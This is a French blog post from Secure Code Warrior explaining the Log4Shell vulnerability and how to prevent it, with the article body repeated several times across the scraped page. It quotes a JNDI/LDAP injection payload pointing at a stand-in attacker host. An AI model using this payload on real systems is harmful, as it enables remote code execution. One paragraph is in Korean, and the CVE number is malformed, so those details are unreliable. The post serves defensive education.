Icônes SCW
héros bg sans séparateur
Blog

Description de la vulnérabilité Log4j - Vecteurs d'attaque et méthodes de prévention

Laura Verheyde
Publié le 16 janvier 2022
Dernière mise à jour le 9 mars 2026

Le 9 décembre, une vulnérabilité de type « zero-day » a été découverte dans la bibliothèque Java Log4j. CVE-44228, surnommé Log4Shell, a reçu le niveau de gravité « élevé » (critique) car l'exploit permet l'exécution de code à distance. De plus, log4j-core étant l'une des bibliothèques de journalisation Java les plus couramment utilisées, cela met en danger des millions d'applications.

Souhaitez-vous rapidement améliorer vos compétences nécessaires pour gérer Log4Shell ?

Nous avons créé une démonstration permettant d'expérimenter l'exploitation de cette vulnérabilité dans un simulateur appelé Mission, en commençant par les concepts de base de Log4Shell. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut affecter l'infrastructure et les applications. Veuillez cliquer ici pour accéder directement à la démonstration oucontinuer votre lecture pour en savoir plus sur cette vulnérabilité.

Des informations anciennes ?

Les exploits ne sont pas une nouveauté. Les chercheurs en sécurité l'ont déjà souligné lors de la conférence Black Hat 2016, avec Alvaro Munoz et Oleksandr Mirosh. Ils ont expliqué comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance, en précisant que« les applications ne doivent pas effectuer de requêtes JNDI avec des données non fiables ».C'est précisément le cœur du problème avec Log4Shell.

Vecteur d'attaque

La charge utile d'injection de Log4Shell est la suivante.

$ {indi:ldap: //attacker.host/xyz}

이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.

Ensuite, il existe JNDI, une API qui permet de rechercher des données ou des ressources en se connectant à des services à l'aide de protocoles tels que Java Naming and Directory Interface, LDAP, DNS, RMI, etc. En résumé, dans l'exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Par exemple, la réponse peut pointer vers un fichier de classe Java contenant du code malveillant, ce fichier étant ensuite exécuté sur le serveur vulnérable.

La raison pour laquelle cette vulnérabilité est considérée comme si préoccupante est que Log4j évalue toutes les entrées de journal et interroge toutes les entrées utilisateur enregistrées écrites dans une syntaxe EL préfixée par « jndi ». La charge utile peut être insérée à n'importe quel endroit où l'utilisateur peut saisir des données, comme dans les champs de formulaire.De plus, les en-têtes HTTP (tels que User-Agent, X-Forwarded-For et d'autres en-têtes) peuvent être personnalisés pour transmettre la charge utile.

Pour découvrir directement l'exploitation, veuillez vous rendre à la vitrine et passer à l'étape 2 - « Impact de l'expérience ».

Prévention : sensibilisation

La mise à niveau est recommandée pour toutes les applications, car elle corrige le code vulnérable de Log4j. Cependant, les versions 2.15.0 et 2.16.0 contiennent des vulnérabilités DDoS et autres, il est donc conseillé de passer à la version 2.17.0 dès la fin décembre.

En tant que développeurs de code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons garder à l'esprit que l'utilisation naïve de sources externes que nous considérons comme sûres peut compromettre la sécurité de nos applications.

Aurait-il été possible de prévenir cette vulnérabilité ? Oui et non. D'une part, lorsque des composants vulnérables sont introduits par le biais de logiciels tiers, les développeurs ont peu de marge de manœuvre. D'autre part, la leçon à retenir est récurrente : il ne faut jamais se fier aux entrées des utilisateurs.

Secure Code Warrior estime que la meilleure approche pour les développeurs soucieux de la sécurité consiste à prévenir les vulnérabilités dans le code. SCW propose des formations à grande échelle pour chaque framework de programmation, ce qui a permis à nos clients professionnels d'identifier rapidement les développeurs Java concernés à l'aide des données de rapport. De plus, avec l'aide de spécialistes en sécurité formés par SCW, nous avons accéléré la mise à niveau de Log4j.

Secure Code Warrior propose notamment aux développeurs Java le plugin IntelliJ gratuit Sensei. Cet outil d'analyse de code basé sur des règles peut être utilisé pour appliquer des directives de codage et prévenir et résoudre les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser des règles prédéfinies. Livre de recettes. Nous vous invitons à consulter nos recettes et à télécharger notre livre de recettes Log4j, qui vous aidera à identifier et à corriger la vulnérabilité Log4Shell en un clin d'œil.

Veuillez mettre à niveau vos techniques de défense contre Log4Shell.

Souhaitez-vous mettre en pratique les connaissances acquises dans cet article de blog ? Le showcase pourrait vous être utile. Lorsque vous démarrez le showcase, vous passez rapidement en revue cette vulnérabilité, puis vous accédez à un environnement de simulation où vous pouvez tenter d'exploiter la faille en suivant les instructions fournies.


Consulter les ressources
Consulter les ressources

En décembre 2021, une grave faille de sécurité appelée Log4Shell a été découverte dans la bibliothèque Java Log4j. Ce document présente les principes fondamentaux de la faille Log4Shell de la manière la plus simple possible et propose un environnement de test permettant d'exploiter cette faille sur un site web simulé.

Souhaitez-vous en savoir davantage ?

En savoir plus

Secure Code Warrior est là pour aider les organisations à protéger leur code tout au long du cycle de vie du développement logiciel et à instaurer une culture qui accorde la priorité à la cybersécurité. Que vous soyez responsable de la sécurité des applications, développeur, responsable de la sécurité des systèmes d'information ou tout autre professionnel de la sécurité, nous pouvons aider votre organisation à réduire les risques liés au code non sécurisé.

Veuillez prendre rendez-vous pour une démonstration.
Destinataires :
marques LinkedInSocialLogo x
Auteur
Laura Verheyde
Publié le 16 janvier 2022

Laura Verheyde est développeuse de logiciels à l'adresse Secure Code Warrior . Elle se consacre à la recherche de vulnérabilités et à la création de contenu pour Missions et Coding labs.

Destinataires :
marques LinkedInSocialLogo x

Le 9 décembre, une vulnérabilité de type « zero-day » a été découverte dans la bibliothèque Java Log4j. CVE-44228, surnommé Log4Shell, a reçu le niveau de gravité « élevé » (critique) car l'exploit permet l'exécution de code à distance. De plus, log4j-core étant l'une des bibliothèques de journalisation Java les plus couramment utilisées, cela met en danger des millions d'applications.

Souhaitez-vous rapidement améliorer vos compétences nécessaires pour gérer Log4Shell ?

Nous avons créé une démonstration permettant d'expérimenter l'exploitation de cette vulnérabilité dans un simulateur appelé Mission, en commençant par les concepts de base de Log4Shell. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut affecter l'infrastructure et les applications. Veuillez cliquer ici pour accéder directement à la démonstration oucontinuer votre lecture pour en savoir plus sur cette vulnérabilité.

Des informations anciennes ?

Les exploits ne sont pas une nouveauté. Les chercheurs en sécurité l'ont déjà souligné lors de la conférence Black Hat 2016, avec Alvaro Munoz et Oleksandr Mirosh. Ils ont expliqué comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance, en précisant que« les applications ne doivent pas effectuer de requêtes JNDI avec des données non fiables ».C'est précisément le cœur du problème avec Log4Shell.

Vecteur d'attaque

La charge utile d'injection de Log4Shell est la suivante.

$ {indi:ldap: //attacker.host/xyz}

이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.

Ensuite, il existe JNDI, une API qui permet de rechercher des données ou des ressources en se connectant à des services à l'aide de protocoles tels que Java Naming and Directory Interface, LDAP, DNS, RMI, etc. En résumé, dans l'exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Par exemple, la réponse peut pointer vers un fichier de classe Java contenant du code malveillant, ce fichier étant ensuite exécuté sur le serveur vulnérable.

La raison pour laquelle cette vulnérabilité est considérée comme si préoccupante est que Log4j évalue toutes les entrées de journal et interroge toutes les entrées utilisateur enregistrées écrites dans une syntaxe EL préfixée par « jndi ». La charge utile peut être insérée à n'importe quel endroit où l'utilisateur peut saisir des données, comme dans les champs de formulaire.De plus, les en-têtes HTTP (tels que User-Agent, X-Forwarded-For et d'autres en-têtes) peuvent être personnalisés pour transmettre la charge utile.

Pour découvrir directement l'exploitation, veuillez vous rendre à la vitrine et passer à l'étape 2 - « Impact de l'expérience ».

Prévention : sensibilisation

La mise à niveau est recommandée pour toutes les applications, car elle corrige le code vulnérable de Log4j. Cependant, les versions 2.15.0 et 2.16.0 contiennent des vulnérabilités DDoS et autres, il est donc conseillé de passer à la version 2.17.0 dès la fin décembre.

En tant que développeurs de code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons garder à l'esprit que l'utilisation naïve de sources externes que nous considérons comme sûres peut compromettre la sécurité de nos applications.

Aurait-il été possible de prévenir cette vulnérabilité ? Oui et non. D'une part, lorsque des composants vulnérables sont introduits par le biais de logiciels tiers, les développeurs ont peu de marge de manœuvre. D'autre part, la leçon à retenir est récurrente : il ne faut jamais se fier aux entrées des utilisateurs.

Secure Code Warrior estime que la meilleure approche pour les développeurs soucieux de la sécurité consiste à prévenir les vulnérabilités dans le code. SCW propose des formations à grande échelle pour chaque framework de programmation, ce qui a permis à nos clients professionnels d'identifier rapidement les développeurs Java concernés à l'aide des données de rapport. De plus, avec l'aide de spécialistes en sécurité formés par SCW, nous avons accéléré la mise à niveau de Log4j.

Secure Code Warrior propose notamment aux développeurs Java le plugin IntelliJ gratuit Sensei. Cet outil d'analyse de code basé sur des règles peut être utilisé pour appliquer des directives de codage et prévenir et résoudre les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser des règles prédéfinies. Livre de recettes. Nous vous invitons à consulter nos recettes et à télécharger notre livre de recettes Log4j, qui vous aidera à identifier et à corriger la vulnérabilité Log4Shell en un clin d'œil.

Veuillez mettre à niveau vos techniques de défense contre Log4Shell.

Souhaitez-vous mettre en pratique les connaissances acquises dans cet article de blog ? Le showcase pourrait vous être utile. Lorsque vous démarrez le showcase, vous passez rapidement en revue cette vulnérabilité, puis vous accédez à un environnement de simulation où vous pouvez tenter d'exploiter la faille en suivant les instructions fournies.


Consulter les ressources
Consulter les ressources

Veuillez remplir le formulaire ci-dessous pour télécharger le rapport.

Nous sollicitons votre consentement pour vous envoyer des informations sur nos produits et/ou sur des sujets liés au codage sécurisé. Nous traitons toujours vos informations personnelles avec la plus grande attention et ne les vendons jamais à d'autres entreprises à des fins marketing.

Soumission
icône de réussite scw
icône d'erreur scw
Veuillez activer le cookie « Analytics » pour soumettre le formulaire. Une fois terminé, vous pouvez le désactiver à tout moment.

Le 9 décembre, une vulnérabilité de type « zero-day » a été découverte dans la bibliothèque Java Log4j. CVE-44228, surnommé Log4Shell, a reçu le niveau de gravité « élevé » (critique) car l'exploit permet l'exécution de code à distance. De plus, log4j-core étant l'une des bibliothèques de journalisation Java les plus couramment utilisées, cela met en danger des millions d'applications.

Souhaitez-vous rapidement améliorer vos compétences nécessaires pour gérer Log4Shell ?

Nous avons créé une démonstration permettant d'expérimenter l'exploitation de cette vulnérabilité dans un simulateur appelé Mission, en commençant par les concepts de base de Log4Shell. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut affecter l'infrastructure et les applications. Veuillez cliquer ici pour accéder directement à la démonstration oucontinuer votre lecture pour en savoir plus sur cette vulnérabilité.

Des informations anciennes ?

Les exploits ne sont pas une nouveauté. Les chercheurs en sécurité l'ont déjà souligné lors de la conférence Black Hat 2016, avec Alvaro Munoz et Oleksandr Mirosh. Ils ont expliqué comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance, en précisant que« les applications ne doivent pas effectuer de requêtes JNDI avec des données non fiables ».C'est précisément le cœur du problème avec Log4Shell.

Vecteur d'attaque

La charge utile d'injection de Log4Shell est la suivante.

$ {indi:ldap: //attacker.host/xyz}

이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.

Ensuite, il existe JNDI, une API qui permet de rechercher des données ou des ressources en se connectant à des services à l'aide de protocoles tels que Java Naming and Directory Interface, LDAP, DNS, RMI, etc. En résumé, dans l'exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Par exemple, la réponse peut pointer vers un fichier de classe Java contenant du code malveillant, ce fichier étant ensuite exécuté sur le serveur vulnérable.

La raison pour laquelle cette vulnérabilité est considérée comme si préoccupante est que Log4j évalue toutes les entrées de journal et interroge toutes les entrées utilisateur enregistrées écrites dans une syntaxe EL préfixée par « jndi ». La charge utile peut être insérée à n'importe quel endroit où l'utilisateur peut saisir des données, comme dans les champs de formulaire.De plus, les en-têtes HTTP (tels que User-Agent, X-Forwarded-For et d'autres en-têtes) peuvent être personnalisés pour transmettre la charge utile.

Pour découvrir directement l'exploitation, veuillez vous rendre à la vitrine et passer à l'étape 2 - « Impact de l'expérience ».

Prévention : sensibilisation

La mise à niveau est recommandée pour toutes les applications, car elle corrige le code vulnérable de Log4j. Cependant, les versions 2.15.0 et 2.16.0 contiennent des vulnérabilités DDoS et autres, il est donc conseillé de passer à la version 2.17.0 dès la fin décembre.

En tant que développeurs de code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons garder à l'esprit que l'utilisation naïve de sources externes que nous considérons comme sûres peut compromettre la sécurité de nos applications.

Aurait-il été possible de prévenir cette vulnérabilité ? Oui et non. D'une part, lorsque des composants vulnérables sont introduits par le biais de logiciels tiers, les développeurs ont peu de marge de manœuvre. D'autre part, la leçon à retenir est récurrente : il ne faut jamais se fier aux entrées des utilisateurs.

Secure Code Warrior estime que la meilleure approche pour les développeurs soucieux de la sécurité consiste à prévenir les vulnérabilités dans le code. SCW propose des formations à grande échelle pour chaque framework de programmation, ce qui a permis à nos clients professionnels d'identifier rapidement les développeurs Java concernés à l'aide des données de rapport. De plus, avec l'aide de spécialistes en sécurité formés par SCW, nous avons accéléré la mise à niveau de Log4j.

Secure Code Warrior propose notamment aux développeurs Java le plugin IntelliJ gratuit Sensei. Cet outil d'analyse de code basé sur des règles peut être utilisé pour appliquer des directives de codage et prévenir et résoudre les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser des règles prédéfinies. Livre de recettes. Nous vous invitons à consulter nos recettes et à télécharger notre livre de recettes Log4j, qui vous aidera à identifier et à corriger la vulnérabilité Log4Shell en un clin d'œil.

Veuillez mettre à niveau vos techniques de défense contre Log4Shell.

Souhaitez-vous mettre en pratique les connaissances acquises dans cet article de blog ? Le showcase pourrait vous être utile. Lorsque vous démarrez le showcase, vous passez rapidement en revue cette vulnérabilité, puis vous accédez à un environnement de simulation où vous pouvez tenter d'exploiter la faille en suivant les instructions fournies.


Veuillez consulter le webinaire.
Commencer
En savoir plus

Veuillez cliquer sur le lien ci-dessous pour télécharger le PDF de cette ressource.

Secure Code Warrior est là pour aider les organisations à protéger leur code tout au long du cycle de vie du développement logiciel et à instaurer une culture qui accorde la priorité à la cybersécurité. Que vous soyez responsable de la sécurité des applications, développeur, responsable de la sécurité des systèmes d'information ou tout autre professionnel de la sécurité, nous pouvons aider votre organisation à réduire les risques liés au code non sécurisé.

Consulter le rapportVeuillez prendre rendez-vous pour une démonstration.
Télécharger le PDF
Consulter les ressources
Destinataires :
marques LinkedInSocialLogo x
Souhaitez-vous en savoir davantage ?

Destinataires :
marques LinkedInSocialLogo x
Auteur
Laura Verheyde
Publié le 16 janvier 2022

Laura Verheyde est développeuse de logiciels à l'adresse Secure Code Warrior . Elle se consacre à la recherche de vulnérabilités et à la création de contenu pour Missions et Coding labs.

Destinataires :
marques LinkedInSocialLogo x

Le 9 décembre, une vulnérabilité de type « zero-day » a été découverte dans la bibliothèque Java Log4j. CVE-44228, surnommé Log4Shell, a reçu le niveau de gravité « élevé » (critique) car l'exploit permet l'exécution de code à distance. De plus, log4j-core étant l'une des bibliothèques de journalisation Java les plus couramment utilisées, cela met en danger des millions d'applications.

Souhaitez-vous rapidement améliorer vos compétences nécessaires pour gérer Log4Shell ?

Nous avons créé une démonstration permettant d'expérimenter l'exploitation de cette vulnérabilité dans un simulateur appelé Mission, en commençant par les concepts de base de Log4Shell. Dans cette mission, nous vous expliquerons comment la vulnérabilité Log4j peut affecter l'infrastructure et les applications. Veuillez cliquer ici pour accéder directement à la démonstration oucontinuer votre lecture pour en savoir plus sur cette vulnérabilité.

Des informations anciennes ?

Les exploits ne sont pas une nouveauté. Les chercheurs en sécurité l'ont déjà souligné lors de la conférence Black Hat 2016, avec Alvaro Munoz et Oleksandr Mirosh. Ils ont expliqué comment une injection JNDI/LDAP ciblée pouvait conduire à l'exécution de code à distance, en précisant que« les applications ne doivent pas effectuer de requêtes JNDI avec des données non fiables ».C'est précisément le cœur du problème avec Log4Shell.

Vecteur d'attaque

La charge utile d'injection de Log4Shell est la suivante.

$ {indi:ldap: //attacker.host/xyz}

이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.

Ensuite, il existe JNDI, une API qui permet de rechercher des données ou des ressources en se connectant à des services à l'aide de protocoles tels que Java Naming and Directory Interface, LDAP, DNS, RMI, etc. En résumé, dans l'exemple de charge utile malveillante ci-dessus, JNDI effectue une recherche sur le serveur LDAP contrôlé par l'attaquant. Par exemple, la réponse peut pointer vers un fichier de classe Java contenant du code malveillant, ce fichier étant ensuite exécuté sur le serveur vulnérable.

La raison pour laquelle cette vulnérabilité est considérée comme si préoccupante est que Log4j évalue toutes les entrées de journal et interroge toutes les entrées utilisateur enregistrées écrites dans une syntaxe EL préfixée par « jndi ». La charge utile peut être insérée à n'importe quel endroit où l'utilisateur peut saisir des données, comme dans les champs de formulaire.De plus, les en-têtes HTTP (tels que User-Agent, X-Forwarded-For et d'autres en-têtes) peuvent être personnalisés pour transmettre la charge utile.

Pour découvrir directement l'exploitation, veuillez vous rendre à la vitrine et passer à l'étape 2 - « Impact de l'expérience ».

Prévention : sensibilisation

La mise à niveau est recommandée pour toutes les applications, car elle corrige le code vulnérable de Log4j. Cependant, les versions 2.15.0 et 2.16.0 contiennent des vulnérabilités DDoS et autres, il est donc conseillé de passer à la version 2.17.0 dès la fin décembre.

En tant que développeurs de code, nous devons toujours tenir compte de la sécurité. Log4Shell nous a appris que l'utilisation de frameworks ou de bibliothèques tiers comporte des risques. Nous devons garder à l'esprit que l'utilisation naïve de sources externes que nous considérons comme sûres peut compromettre la sécurité de nos applications.

Aurait-il été possible de prévenir cette vulnérabilité ? Oui et non. D'une part, lorsque des composants vulnérables sont introduits par le biais de logiciels tiers, les développeurs ont peu de marge de manœuvre. D'autre part, la leçon à retenir est récurrente : il ne faut jamais se fier aux entrées des utilisateurs.

Secure Code Warrior estime que la meilleure approche pour les développeurs soucieux de la sécurité consiste à prévenir les vulnérabilités dans le code. SCW propose des formations à grande échelle pour chaque framework de programmation, ce qui a permis à nos clients professionnels d'identifier rapidement les développeurs Java concernés à l'aide des données de rapport. De plus, avec l'aide de spécialistes en sécurité formés par SCW, nous avons accéléré la mise à niveau de Log4j.

Secure Code Warrior propose notamment aux développeurs Java le plugin IntelliJ gratuit Sensei. Cet outil d'analyse de code basé sur des règles peut être utilisé pour appliquer des directives de codage et prévenir et résoudre les vulnérabilités. Vous pouvez créer vos propres règles ou utiliser des règles prédéfinies. Livre de recettes. Nous vous invitons à consulter nos recettes et à télécharger notre livre de recettes Log4j, qui vous aidera à identifier et à corriger la vulnérabilité Log4Shell en un clin d'œil.

Veuillez mettre à niveau vos techniques de défense contre Log4Shell.

Souhaitez-vous mettre en pratique les connaissances acquises dans cet article de blog ? Le showcase pourrait vous être utile. Lorsque vous démarrez le showcase, vous passez rapidement en revue cette vulnérabilité, puis vous accédez à un environnement de simulation où vous pouvez tenter d'exploiter la faille en suivant les instructions fournies.


Table des matières

Télécharger le PDF
Consulter les ressources
Souhaitez-vous en savoir davantage ?

En savoir plus

Secure Code Warrior est là pour aider les organisations à protéger leur code tout au long du cycle de vie du développement logiciel et à instaurer une culture qui accorde la priorité à la cybersécurité. Que vous soyez responsable de la sécurité des applications, développeur, responsable de la sécurité des systèmes d'information ou tout autre professionnel de la sécurité, nous pouvons aider votre organisation à réduire les risques liés au code non sécurisé.

Veuillez prendre rendez-vous pour une démonstration.Télécharger
Destinataires :
marques LinkedInSocialLogo x
Centre de ressources

Ressources utiles pour débuter

Plus d'articles
Centre de ressources

Ressources utiles pour débuter

Plus d'articles